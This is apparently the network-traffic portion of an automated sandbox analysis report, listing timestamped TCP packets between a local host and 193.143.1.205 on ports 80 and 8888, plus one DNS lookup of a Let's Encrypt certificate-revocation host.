Jan 11, 2025 04:14:33.243151903 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.243190050 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.243190050 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.243405104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.243437052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.243475914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.243509054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.243541002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.243546009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.243570089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.243602991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.243606091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.243606091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.243637085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.243669033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.243702888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.243736982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.244023085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.244055986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.244070053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.244070053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.244088888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.244122028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.244154930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.244187117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.244220972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.244227886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.244227886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.244252920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.244287014 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.244319916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.244327068 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.244327068 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.244354010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.244386911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.244419098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.244452000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.244488955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.244491100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.244491100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.244811058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.244844913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.244878054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.244913101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.244946003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.244978905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.245011091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.245044947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.245078087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.245110035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.245121956 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.245121956 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.245143890 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.245172024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.245203972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.245212078 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.245212078 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.245239973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.245273113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.245306969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.245338917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.245340109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.245340109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.245570898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.245604992 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.245605946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.245637894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.245671034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.245706081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.245739937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.245771885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.245805979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.245969057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.248904943 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.279637098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.279674053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.279707909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.279753923 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.279793024 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.279795885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.279830933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.280118942 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.289693117 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.289727926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.289761066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.289783001 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.289796114 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.289829016 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.289877892 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.289884090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.289952993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.289987087 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290019989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290025949 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.290025949 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.290072918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290126085 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.290184021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290215969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290251970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290287018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290302992 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.290321112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290354013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290373087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.290393114 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.290420055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290452003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290484905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290503979 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.290519953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290554047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290589094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290680885 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.290757895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290790081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290818930 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.290818930 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.290822983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290857077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290891886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290901899 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.290925980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290961027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.290976048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.328468084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.328525066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.328577042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.328609943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.328649044 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.328649044 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.328727961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.328762054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.328798056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.328831911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.328835011 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.328835011 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.328867912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.328953028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.328984976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.329019070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.329026937 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.329026937 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.329052925 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.329099894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.329133034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.329166889 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.329212904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.329255104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.329297066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.329299927 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.329329967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.329365015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.329370022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.329370022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.329530001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.329562902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.329596043 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.329626083 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.329629898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.329663038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.329695940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.329729080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.329735041 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.329735041 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.329761982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.329794884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.329827070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.329906940 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.330126047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.330162048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.330195904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.330229044 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.330233097 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.330264091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.330297947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.330315113 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.330332041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.330364943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.330378056 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.330396891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.330415010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.330449104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.330454111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.330454111 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.330483913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.330518007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.330550909 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.330552101 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.330637932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.330816984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.330852985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.330884933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.330918074 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.330929995 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.330950975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.330991983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331002951 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.331028938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331060886 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331094980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331113100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.331144094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331163883 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.331182003 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331216097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331250906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331263065 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.331326962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.331397057 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331429958 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331445932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.331463099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331495047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331530094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331562042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331571102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.331571102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.331597090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331629038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331664085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331696033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331702948 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.331727982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331758022 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.331762075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331796885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331810951 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.331829071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331847906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331881046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.331885099 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.331911087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.331917048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.332375050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.332411051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.332436085 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.332442999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.332478046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.332499027 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.332510948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.332535982 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.332545042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.332577944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.332586050 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.332612038 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.332644939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.332662106 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.332678080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.332710981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.332745075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.332762003 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.332778931 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.332845926 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.333524942 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.366631985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.366704941 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.366724014 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.366771936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.366807938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.366842031 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.366875887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.366878986 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.366878986 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.366909027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.366946936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.366990089 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.376905918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.376945019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.376981020 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.377032042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.377063990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.377063990 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.377063990 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.377099037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.377126932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.377132893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.377218962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.377248049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.377279997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.377312899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.377348900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.377495050 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.377527952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.377536058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.377536058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.377563000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.377597094 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.377629995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.377640963 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.377640963 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.377662897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.377748013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.377779961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.377794027 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.377814054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.377846956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.377852917 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.377878904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.377917051 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.382751942 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.415395021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.415410995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.415417910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.415442944 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.415453911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.415545940 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.415545940 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.415564060 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.415575981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.415586948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.415596008 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.415620089 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.415672064 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.415829897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.415841103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.415853024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.415863037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.415874004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:33.415883064 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.415915966 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.459579945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:33.743937016 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:34.446746111 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:34.451772928 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:34.451854944 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:34.451987982 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:34.456929922 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:35.238270998 CET	8888	49711	193.143.1.205	192.168.2.6
Jan 11, 2025 04:14:35.287700891 CET	49711	8888	192.168.2.6	193.143.1.205
Jan 11, 2025 04:14:35.550929070 CET	49711	8888	192.168.2.6	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 04:14:42.022037983 CET	50321	53	192.168.2.6	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 04:14:42.022037983 CET	192.168.2.6	1.1.1.1	0xd462	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 04:14:42.029278040 CET	1.1.1.1	192.168.2.6	0xd462	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
